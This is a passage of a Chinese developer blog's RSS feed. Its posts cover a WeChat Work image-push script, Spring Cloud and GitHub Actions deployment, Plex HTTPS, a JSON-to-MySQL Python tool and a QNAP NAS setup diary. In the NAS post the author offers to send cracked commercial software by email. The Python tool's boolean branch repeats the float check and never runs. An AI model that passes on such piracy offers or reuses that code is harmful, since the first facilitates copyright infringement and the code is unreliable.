            &amp;quot;enable_id_trans&amp;quot;: 0,
            &amp;quot;enable_duplicate_check&amp;quot;: 0,
            &amp;quot;duplicate_check_interval&amp;quot;: 1800
        }
        return CompanyWeixin.send_post(url, data)


def download_img(new_file_name):
    tp1 = requests.get('http://bjb.yunwj.top/php/tp/lj.php').json()['tp1']
    img = requests.get(url=tp1).content
    with open(new_file_name, 'wb') as tmp:
        tmp.write(img)


today_str = time.strftime(&amp;quot;%Y-%m-%d&amp;quot;, time.localtime())
file_name = today_str + '.jpg'
download_img(file_name)
weixin = CompanyWeixin()
weixin.get_access_token()
img_msg = weixin.upload_file(file_name)
img_msg_media_id = img_msg['media_id']
weixin.send_img(img_msg_media_id)

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Thu, 20 Oct 2022 07:36:56 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/118.html</comments>
    </item>
    <item>
      <title>Windows喝水记录工具v2.0</title>
      <link>https://www.baby7blog.com/myBlog/117.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1665452897023410652" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Windows喝水记录工具v2.0&lt;/h1&gt;

&lt;p&gt;作者以前基本不喝水，后面体检出来身体出现了一些问题（肾结晶什么的），多喝水可以减轻甚至痊愈，由于没有喝水的习惯怕喝多或者喝少，所以做了这个桌面小工具，喝一杯记录一下，每天八杯水养成好习惯&lt;/p&gt;
&lt;p&gt;代码开源地址: &lt;a href="https://github.com/baby7/drinking"&gt;https://github.com/baby7/drinking&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;v2.0版本网盘地址：&lt;a href="https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ"&gt;https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;提取码：baby&lt;/p&gt;
&lt;h2&gt;主界面&lt;/h2&gt;
&lt;p&gt;主界面展示当天喝水数量，左下角点击加一杯，右下角点击当天喝水清零&lt;/p&gt;
&lt;p&gt;主界面两种展示方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;今天第x杯水&lt;/li&gt;
&lt;li&gt;还有x杯水&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking_main_positive.png" alt="Windows喝水记录工具主界面正着数" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking_main_negative.png" alt="Windows喝水记录工具主界面倒着数" /&gt;&lt;/p&gt;
&lt;p&gt;主页面和托盘页右键可以拉出菜单&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking_main_right.png" alt="Windows喝水记录工具主界面右键菜单" /&gt;&lt;/p&gt;
&lt;h2&gt;设置页面&lt;/h2&gt;
&lt;p&gt;可以设置喝水提醒的时间段，然后每隔多长时间提醒一次(每喝一杯水会重新计时)，设置为0则不进行提醒&lt;/p&gt;
&lt;p&gt;可以设置每天喝水的数量&lt;/p&gt;
&lt;p&gt;窗口有三种展示方式 正常、置顶和置底&lt;/p&gt;
&lt;p&gt;确定后需要在主界面或托盘右键 -&amp;gt; 刷新设置，不然不会生效&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking_setting.png" alt="Windows喝水记录工具设置界面" /&gt;&lt;/p&gt;
&lt;h2&gt;喝水记录&lt;/h2&gt;
&lt;p&gt;就是个表格，记录历史喝水记录&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking_records.png" alt="Windows喝水记录工具设置界面" /&gt;&lt;/p&gt;
&lt;h2&gt;通知&lt;/h2&gt;
&lt;p&gt;通知以win10右下角通知的形式展现&lt;/p&gt;
&lt;h2&gt;下版本&lt;/h2&gt;
&lt;p&gt;预计喝水记录会加个折线图什么的&lt;/p&gt;
&lt;p&gt;通知的话应该会加上企业微信的通知推送&lt;/p&gt;
&lt;p&gt;主页面会增加【云母、半透明、亚克力】【浅色、深色】【圆角、方角】的选择，现在是固定浅色方角亚克力&lt;/p&gt;
&lt;h1&gt;现存问题&lt;/h1&gt;
&lt;p&gt;主页面上方大概1/4处不能右键拉出菜单
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;

&lt;h1&gt;历史版本&lt;/h1&gt;

&lt;h2&gt;v1.1&lt;/h2&gt;
&lt;p&gt;该版本只有主界面，只能点左下角加一杯，右下角清零&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/github%2Fdrinking%2Fdrinking1.png" alt="Windows喝水记录工具v1.1" /&gt;&lt;/p&gt;
&lt;h2&gt;下载&lt;/h2&gt;
&lt;p&gt;v1.1版本网盘地址: &lt;a href="https://pan.baidu.com/s/1enKHopF_Mi2Ij4rM__j0Ww"&gt;https://pan.baidu.com/s/1enKHopF_Mi2Ij4rM__j0Ww&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;v2.0版本网盘地址：&lt;a href="https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ"&gt;https://pan.baidu.com/s/12if96zMUWTC8dCbZVAAVOQ &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;提取码：baby&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Tue, 11 Oct 2022 01:52:50 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/117.html</comments>
    </item>
    <item>
      <title>SpringCloud远程连接Eureka并使用@FeignClient</title>
      <link>https://www.baby7blog.com/myBlog/116.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1652854894309770932" width="800"&gt;&lt;br&gt;
&lt;h1&gt;SpringCloud远程连接Eureka并使用@FeignClient&lt;/h1&gt;

&lt;p&gt;记录一下&lt;/p&gt;
&lt;h3&gt;一、修改配置文件&lt;/h3&gt;
&lt;p&gt;首先需要修改配置，需要复制云端的配置文件合并到本地，然后修复爆红的重复上级的问题&lt;/p&gt;
&lt;p&gt;然后修改内网的mysql、redis等内网地址为公网地址&lt;/p&gt;
&lt;p&gt;删除spring.cloud.config内容&lt;/p&gt;
&lt;p&gt;修改mysql、redis、连接eureka的内网地址为公网地址&lt;/p&gt;
&lt;p&gt;如果需要不影响之前的服务，需要修改spring.application.name和eureka.instance.appname跟之前的不一样，这样别的服务就不会调用自己&lt;/p&gt;
&lt;h3&gt;二、修改@FeignClient&lt;/h3&gt;
&lt;p&gt;修改为类似下方的格式&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;@FeignClient(name = &amp;quot;xxxxx&amp;quot;, url = &amp;quot;http://xxx.xxx.xxx.xxx:8801&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;name无所谓，url需要改为公网ip加服务的端口&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 18 May 2022 06:28:07 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/116.html</comments>
    </item>
    <item>
      <title>使用Github Action通过Dockerhub持续构建部署服务</title>
      <link>https://www.baby7blog.com/myBlog/115.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1652152259696720046" width="800"&gt;&lt;br&gt;
&lt;h1&gt;使用Github Action通过Dockerhub持续构建部署服务&lt;/h1&gt;

&lt;h3&gt;提示&lt;/h3&gt;
&lt;p&gt;记录一下自己配置的Github Action，仅限于使用DockerCompose部署的项目，如果不是需要自己修改&lt;/p&gt;
&lt;h3&gt;配置敏感信息&lt;/h3&gt;
&lt;p&gt;需要在项目——&amp;gt;Settings——&amp;gt;Secrets——&amp;gt;Actions添加下列敏感信息:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1652152144886800119" alt="1652152106.png" /&gt;&lt;/p&gt;
&lt;h3&gt;配置文件&lt;/h3&gt;
&lt;p&gt;然后在项目的.github/workflows添加gradle.yml，内容如下&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;name: Java CI with Gradle

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    
    # 把仓库代码拉到 ubuntu 镜像上
    - uses: actions/checkout@v2

    # 指定 java 版本
    - name: Set up JDK 1.8
      uses: actions/setup-java@v1
      with:
          java-version: 1.8

    # 给 gradle 赋予可运行权限
    - name: Grant execute permission for gradlew
      run: chmod +x gradlew

    # 通过 gradle 打包我们的项目
    - name: Build with gradle
      run: ./gradlew build

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.IMAGE_NAME }}
            docker-compose up -d --build
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 10 May 2022 03:11:01 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/115.html</comments>
    </item>
    <item>
      <title>各种新版IDEA出现的新东西和隐藏方法</title>
      <link>https://www.baby7blog.com/myBlog/114.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1651718289814304009" width="800"&gt;&lt;br&gt;
&lt;h1&gt;各种新版IDEA出现的新东西和隐藏方法【不定期更新】&lt;/h1&gt;

&lt;p&gt;这人呐，用惯了老的就不习惯新的&lt;img src="https://media.baby7blog.com/1651717677341921858" alt="0876C210.png" /&gt;&lt;/p&gt;
&lt;h2&gt;一、隐藏出现在方法和属性前面的usages和作者名&lt;/h2&gt;
&lt;p&gt;打开setting，然后看下图的步骤，取消勾选那几个然后点击ok刷新下就好了&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1651717851647117892" alt="1651717836.png" /&gt;&lt;/p&gt;
&lt;h2&gt;二、回到老版本的版本提交&lt;/h2&gt;
&lt;p&gt;打开setting，看下图，取消勾选【Use non-modal commit interface】即可&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1651718017974130322" alt="1651717991.png" /&gt;&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Thu, 05 May 2022 02:38:38 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/114.html</comments>
    </item>
    <item>
      <title>威联通Plex设置Https</title>
      <link>https://www.baby7blog.com/myBlog/113.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1651539262858831523" width="800"&gt;&lt;br&gt;
&lt;h1&gt;威联通Plex设置Https&lt;/h1&gt;

&lt;p&gt;首先需要有域名，然后下载Tomcat类型的证书&lt;/p&gt;
&lt;p&gt;连接ssh，打开路径【/share/CACHEDEV1_DATA/.qpkg/PlexMediaServer/Resources/】，放入证书中的***.pfx文件，权限不够的话就放到别的文件夹用命令复制过来，
需要注意的是其中的CACHEDEV1_DATA为你Plex安装的盘符&lt;/p&gt;
&lt;p&gt;然后在下方的【Custom certificate location/自定义证书位置】填入上方的路径加上.pfx文件名称&lt;/p&gt;
&lt;p&gt;【Secure connections】选择【Prefered/优先】&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1651539701931827985" alt="16515394501.png" /&gt;&lt;/p&gt;
&lt;p&gt;然后在【Custom certificate ***/自定义证书加密密钥】填入证书里的txt文件的内容&lt;/p&gt;
&lt;p&gt;然后填入带https的plex访问地址&lt;/p&gt;
&lt;p&gt;重要：需要重启Plex&lt;/p&gt;</description>
      <category>Nas</category>
      <pubDate>Tue, 03 May 2022 00:54:24 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/113.html</comments>
    </item>
    <item>
      <title>【python小工具】Json转MySQL建表语句</title>
      <link>https://www.baby7blog.com/myBlog/112.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1644915387782144697" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【python小工具】Json转MySQL建表语句&lt;/h1&gt;

&lt;h2&gt;前因&lt;/h2&gt;
&lt;p&gt;工作需要将neo4j部分表转换为MySQL，所以做了这个小工具，使用前最好通读代码
扩展：如果有需要可以修改代码直接连接数据库直接执行新建数据库&lt;/p&gt;
&lt;h2&gt;源码&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import json
from tkinter import *
from tkinter import messagebox
import win32con
import win32clipboard
import re


# 添加剪贴板
def set_text(string):
    win32clipboard.OpenClipboard()
    win32clipboard.EmptyClipboard()
    win32clipboard.SetClipboardData(win32con.CF_UNICODETEXT, string)
    win32clipboard.CloseClipboard()


# 转下划线命名
def to_snake_case(x):
    return re.sub('(?&amp;lt;=[a-z])[A-Z]|(?&amp;lt;!^)[A-Z](?=[a-z])', '_\g&amp;lt;0&amp;gt;', x).lower()


# 建立对话框
root = Tk()
root.title(&amp;quot;Json转MySQL建表语句&amp;quot;)
root.geometry('300x150')
l1 = Label(root, text=&amp;quot;表名：&amp;quot;)
l1.pack()
v_json_title = StringVar()
title = Entry(root, textvariable=v_json_title)
v_json_title.set(&amp;quot;&amp;quot;)
title.pack()
l2 = Label(root, text=&amp;quot;Json：&amp;quot;)
l2.pack()
v_json_str = StringVar()
sstr = Entry(root, textvariable=v_json_str)
v_json_str.set(&amp;quot;&amp;quot;)
sstr.pack()


# 点击事件
def on_click():
    json_title = v_json_title.get()
    json_str = v_json_str.get()
    # 读取json
    data = json.loads(json_str)
    # 构建sql
    sql = &amp;quot;CREATE TABLE `&amp;quot; + json_title + &amp;quot;`  (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'ID',\n&amp;quot; \
          &amp;quot;  `parent_id` bigint(20) NOT NULL COMMENT '父ID',\n&amp;quot;
    for item in data:
        # 整数类型
        if isinstance(data[item], int):
            if len(str(data[item])) &amp;lt; 15:
                sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` bigint(20) NULL DEFAULT NULL,\n&amp;quot;
            elif len(str(data[item])) &amp;gt;= 15:
                sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` bigint(&amp;quot; + str(len(str(data[item])) * 2) + &amp;quot;) NULL DEFAULT NULL,\n&amp;quot;
        # 字符串类型
        elif isinstance(data[item], str):
            if len(data[item]) &amp;lt; 50:
                sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n&amp;quot;
            elif 50 &amp;lt;= len(data[item]) &amp;lt; 200:
                sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n&amp;quot;
            elif len(data[item]) &amp;gt;= 200:
                sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` varchar(&amp;quot; + str(
                    len(data[item]) * 2) + &amp;quot;) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n&amp;quot;
        # 浮点类型
        elif isinstance(data[item], float):
            sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` decimal(15,3) NULL DEFAULT NULL,\n&amp;quot;
        # 布尔类型
        elif isinstance(data[item], float):
            sql += &amp;quot;  `&amp;quot; + to_snake_case(item) + &amp;quot;` bigint(1) NULL DEFAULT NULL,\n&amp;quot;
        else:
            print(data[item])
    sql += &amp;quot;  PRIMARY KEY (`id`) USING BTREE\n&amp;quot; \
           &amp;quot;) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;&amp;quot;
    set_text(sql)
    messagebox.showinfo(title='处理成功', message=&amp;quot;数据已经添加进剪贴板&amp;quot;)
    print(sql)


Button(root, text=&amp;quot;转换&amp;quot;, command=on_click).pack()
root.mainloop()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;最后，需要打包好的exe程序下方留言邮箱即可&lt;/h3&gt;</description>
      <category>桌面技术</category>
      <pubDate>Tue, 15 Feb 2022 08:56:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/112.html</comments>
    </item>
    <item>
      <title>国家公祭日网站变色方法</title>
      <link>https://www.baby7blog.com/myBlog/109.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1639362169831310145" width="800"&gt;&lt;br&gt;
&lt;h1&gt;国家公祭日网站变色方法&lt;/h1&gt;

&lt;p&gt;84年前的今天，侵华日军攻陷南京，短短6周，我们痛失30多万同胞，欢笑和繁华不再，尸横遍野，千年名城沦为“人间地狱”&lt;/p&gt;
&lt;p&gt;84年过去，我们从未忘记那段沉痛的记忆，今天，让我们向遇难同胞致哀，向为中国人民抗日战争献出生命的，革命先烈和民族英雄致敬&lt;/p&gt;
&lt;p&gt;为了缅怀先烈，铭记历史，网站变为灰色一天&lt;/p&gt;
&lt;p&gt;以下是方法&lt;/p&gt;
&lt;p&gt;添加下面的&amp;lt;script&amp;gt;到&amp;lt;head&amp;gt;中即可，修改后以后每年都会生效&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&amp;lt;script&amp;gt;
    var curDate = new Date();
    var beginDate = new Date(curDate.getFullYear() + '/12/13');
    var endDate = new Date(curDate.getFullYear() + '/12/14');
    if (curDate &amp;gt;= beginDate &amp;amp;&amp;amp; curDate &amp;lt;= endDate) {
        document.write(&amp;quot;&amp;lt;style&amp;gt;html {filter: progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);-webkit-filter: grayscale(100%);}&amp;lt;/style&amp;gt;&amp;quot;);
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Mon, 13 Dec 2021 02:22:51 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/109.html</comments>
    </item>
    <item>
      <title>我的NAS折腾之路（威联通TS-551，不定期更新）</title>
      <link>https://www.baby7blog.com/myBlog/108.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1639031304266936474" width="800"&gt;&lt;br&gt;
&lt;h1&gt;我的NAS折腾之路（不定期更新）&lt;/h1&gt;

&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;入手了一个威联通TS-551的NAS，大概一千三入手&lt;/p&gt;
&lt;p&gt;两个2.5寸盘位，三个3.5寸盘位，可以组一个Raid1和一个Raid5&lt;/p&gt;
&lt;p&gt;暂时2.5寸盘位塞了一个三星的SSD，旧电脑拆下来的，用它做系统盘&lt;/p&gt;
&lt;p&gt;这样的话平常不存取3.5寸盘的数据的话就没有什么声音（3.5寸盘塞了个西数的红盘Plus，有炒豆子的声音）&lt;/p&gt;
&lt;p&gt;机器本身有一条宜鼎DDR3L 2G的内存条，买了个协德DDR3L 4G的，发现不兼容，即使单插协德的也不行，后面买了个宇瞻DDR3L 4G的，兼容了，花了一百四（忒贵了）
&lt;img src="https://media.baby7blog.com/1639031304266936474" alt="威联通TS-551" /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h2&gt;外网挂载NAS&lt;/h2&gt;
&lt;p&gt;前提是你有公网ip或者做了内网穿透，这里只是说下挂载软件&lt;/p&gt;
&lt;p&gt;首先的话需要提前在NAS上开启WebDav或者FTP&lt;/p&gt;
&lt;p&gt;之前用的是RaiDrive，界面很好看，功能也很多，但是只有收费版才能去广告，普通版会有软件内的标题广告，还有右下角弹窗广告（这个弹窗广告火绒去不掉，说是功能性弹窗），这玩意还没有破解版就很难受&lt;/p&gt;
&lt;p&gt;后来搞到了破解版的NetDrive2，虽然界面没有上面那个好看，但也算简洁大方了，也支持WebDav和FTP等的挂载&lt;/p&gt;
&lt;p&gt;++如果需要这个软件破解版的话可以下方评论区留下邮箱和软件名称，我有时间就会发过去++&lt;/p&gt;
&lt;p&gt;放个图
&lt;img src="https://media.baby7blog.com/1639034089565575430" alt="d1e7a57f3a08458466f8889b8c1a3fb.png" /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h2&gt;Docker 玩法&lt;/h2&gt;
&lt;h3&gt;一、搭建一个私人签到系统&lt;/h3&gt;
&lt;p&gt;使用的镜像是&lt;a href="https://registry.hub.docker.com/r/a76yyyy/qiandao"&gt;a76yyyy/qiandao&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里我还搭建了一个&lt;a href="https://registry.hub.docker.com/_/mysql"&gt;mysql:8.0.26&lt;/a&gt;的容器，qiandao系统的数据源就直接放到这里了&lt;/p&gt;
&lt;p&gt;里面有很多公共的签到模板，直接使用就可以，也可以上传har格式的文件新建或编辑
&lt;img src="https://media.baby7blog.com/1639032152752945052" alt="image.png" /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3&gt;二、搭建一个领取Epic每周免费游戏的容器&lt;/h3&gt;
&lt;p&gt;使用的镜像是&lt;a href="https://registry.hub.docker.com/r/luminoleon/epicgames-claimer"&gt;luminoleon/epicgames-claimer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;每天定时领取E宝的周限免游戏，爽歪歪&lt;/p&gt;
&lt;p&gt;(可惜现在已&lt;strong&gt;失效&lt;/strong&gt;，如果还想看到这个“喜加一”的资讯，可以必应搜索“&lt;strong&gt;&lt;a href="https://www.agiletiles.com/"&gt;灵卡面板&lt;/a&gt;&lt;/strong&gt;”下载，安装后打开在卡片设计处添加“喜加一资讯”卡片，不仅有Epic的免费游戏，还有Steam的免费游戏）&lt;/p&gt;
&lt;br /&gt;
&lt;h3&gt;三、搭建一个智能家居系统(HomeAssistant)&lt;/h3&gt;
&lt;p&gt;使用的镜像是&lt;a href="https://registry.hub.docker.com/r/homeassistant/home-assistant"&gt;homeassistant/home-assistant&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是个开源的第三方智能家居系统，可以接入各种品牌的各种智能家居(只要支持)，可以离线运行，有各种各样的界面，这个系统的生态过于庞大，无法几句话讲清楚，有兴趣的话指路国内最大的HomeAssistant论坛：&lt;a href="https://bbs.hassbian.com/?fromuser=baby7blog"&gt;瀚思彼岸&lt;/a&gt;，也可以看看我博客的其他文章，也有讲HomeAssistant的
&lt;img src="https://media.baby7blog.com/1639032083138760598" alt="54165ea517516a8d825776a88334eb8.png" /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3&gt;四、搭建一个Minecraft服务器&lt;/h3&gt;
&lt;p&gt;放一下我的docker-compose配置吧，镜像可以看到我用的是&lt;a href="https://registry.hub.docker.com/r/itzg/minecraft-server"&gt;itzg/minecraft-server:java16&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yaml"&gt;version: '3'
services:
  mc-world-servival:
    image: itzg/minecraft-server:java16
    ports:
      - 25565:25565
    volumes:
      - /share/CACHEDEV1_DATA/docker/minecraft/mc-world-servival:/data
    environment:
      - EULA=true
      - TYPE=PAPER
      - VERSION=1.16.5
      - OPS=willminec
      - ONLINE_MODE=FALSE
    container_name: mc-world-servival
    tty: true
    stdin_open: true
    restart: always
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我用的是PAPER类型的服务器，适合进行插件的添加，性能优化似乎也更好一下&lt;/p&gt;
&lt;p&gt;版本的话选的是1.16.5，相对来说比较新，插件也多一些
&lt;br /&gt;&lt;/p&gt;
&lt;h3&gt;五、搭建一个团队笔记服务&lt;/h3&gt;
&lt;p&gt;使用的镜像是&lt;a href="https://registry.hub.docker.com/r/wiznote/wizserver"&gt;wiznote/wizserver&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是一个国内的公司做的，颜值做的不错，功能做的也挺全的，设备覆盖的也很全&lt;/p&gt;
&lt;p&gt;不过后来我还是换回了威联通的Notes，因为发现为知这个docker有一点费cpu，耗个百分之几的样子，我为了mc服务器的流畅就把它停了
&lt;img src="https://media.baby7blog.com/1639032118257512506" alt="image.png" /&gt;&lt;/p&gt;
&lt;p&gt;最新：已经改为了&lt;strong&gt;思源笔记&lt;/strong&gt;，用起来很不错，感觉我的大部分知识库都搬上去了&lt;/p&gt;
&lt;p&gt;使用的镜像是&lt;a href="https://hub.docker.com/r/b3log/siyuan"&gt;b3log/siyuan&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;原生应用&lt;/h2&gt;
&lt;h3&gt;一、安装Plex并在树莓派安装kodi的plex插件&lt;/h3&gt;
&lt;h4&gt;1.提前削刮和整理&lt;/h4&gt;
&lt;p&gt;这里我建议提前使用TinyMediaManager这个软件进行削刮，削刮后使用该软件进行电影电视剧和文件夹的重命名和结构整理&lt;/p&gt;
&lt;p&gt;++如果需要这个软件破解版的话可以下方评论区留下邮箱和软件名称，我有时间就会发过去++&lt;/p&gt;
&lt;h4&gt;2.Plex服务的安装&lt;/h4&gt;
&lt;p&gt;Plex服务直接在appcenter的娱乐板块直接安装就可以，安装后点击图标打开plex的web页面，在设置处添加资料库，然后等待自动削刮即可，但是可能某些电影或电视剧削刮失败，&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1642409080136538355" alt="image.png" /&gt;&lt;/p&gt;
&lt;h4&gt;3.Kodi的plex插件&lt;/h4&gt;
&lt;p&gt;直接在插件处搜索plex然后选中第一个直接安装即可，安装后点击进入，然后记住显示的字母，根据提示打开页面输入这串代码以激活&lt;/p&gt;
&lt;h3&gt;二、关于Plex的https&lt;/h3&gt;
&lt;p&gt;参考我的这篇博客：&lt;a href="https://www.baby7blog.com/myBlog/113.html"&gt;https://www.baby7blog.com/myBlog/113.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;关于下载&lt;/h2&gt;
&lt;p&gt;这块的东西很多人说过了，自带的、迅雷套件、玩物下载、还有qb和tr，我就不说了，这里讲一个针对单个百度网盘文件快速下载的&lt;/p&gt;
&lt;h3&gt;一、使用油猴插件和aria2下载百度网盘单个文件&lt;/h3&gt;
&lt;h4&gt;1. 在威联通的docker中安装aria2&lt;/h4&gt;
&lt;p&gt;这里可以参考：&lt;a href="https://post.smzdm.com/p/awx0w2qg/"&gt;https://post.smzdm.com/p/awx0w2qg/&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;2. 需要浏览器安装油猴&lt;/h4&gt;
&lt;p&gt;地址：&lt;a href="https://microsoftedge.microsoft.com/addons/detail/tampermonkey/iikmkjmpaadaobahmlepeloendndfphd?hl=zh-CN"&gt;https://microsoftedge.microsoft.com/addons/detail/tampermonkey/iikmkjmpaadaobahmlepeloendndfphd?hl=zh-CN&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;3. 然后在油猴插件中安装对应的插件&lt;/h4&gt;
&lt;p&gt;地址：&lt;a href="https://greasyfork.org/zh-CN/scripts/418182-%E7%99%BE%E5%BA%A6%E7%BD%91%E7%9B%98%E7%AE%80%E6%98%93%E4%B8%8B%E8%BD%BD%E5%8A%A9%E6%89%8B-%E7%9B%B4%E9%93%BE%E4%B8%8B%E8%BD%BD%E5%A4%8D%E6%B4%BB%E7%89%88"&gt;https://greasyfork.org/zh-CN/scripts/418182-%E7%99%BE%E5%BA%A6%E7%BD%91%E7%9B%98%E7%AE%80%E6%98%93%E4%B8%8B%E8%BD%BD%E5%8A%A9%E6%89%8B-%E7%9B%B4%E9%93%BE%E4%B8%8B%E8%BD%BD%E5%A4%8D%E6%B4%BB%E7%89%88&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;4. 修改插件&lt;/h4&gt;
&lt;p&gt;点击油猴图标然后点击管理面板，然后在列表中找到对应插件，点击右边的编辑，在用户域白名单中加入你的威联通域名或者ip&lt;/p&gt;
&lt;h4&gt;5. 修改aria2下载设置&lt;/h4&gt;
&lt;p&gt;(1). 在百度网盘中选择一个文件再点击左上角简易下载助手，点击获取直链地址，点击下方配置aria2，左边地址修改域名为你自己的，例如我的是http://&lt;em&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/em&gt;.com:10086/jsonrpc（不要直接复制），右边填写的是【打开自己的aria2-&amp;gt;系统设置-&amp;gt;ariaNg设置-&amp;gt;RPC-&amp;gt;AricRPC密钥（没有就自己设置一个）】&lt;/p&gt;
&lt;p&gt;(2). 复制插件下方【必须把IDM的UA改为】的右边，然后在自己的aria2-&amp;gt;系统设置-&amp;gt;Aria2设置-&amp;gt;HTTP设置-&amp;gt;自定义User Agent中粘贴进去&lt;/p&gt;
&lt;h4&gt;6. 在插件中点击发送至Aria2即可&lt;/h4&gt;</description>
      <category>Nas</category>
      <pubDate>Thu, 09 Dec 2021 06:27:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/108.html</comments>
    </item>
    <item>
      <title>关于为知笔记Docker容器的MySQL连接和备份</title>
      <link>https://www.baby7blog.com/myBlog/107.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1638948191014996100" width="800"&gt;&lt;br&gt;
&lt;h1&gt;关于为知笔记Docker容器的MySQL连接和备份&lt;/h1&gt;

&lt;h2&gt;过程&lt;/h2&gt;
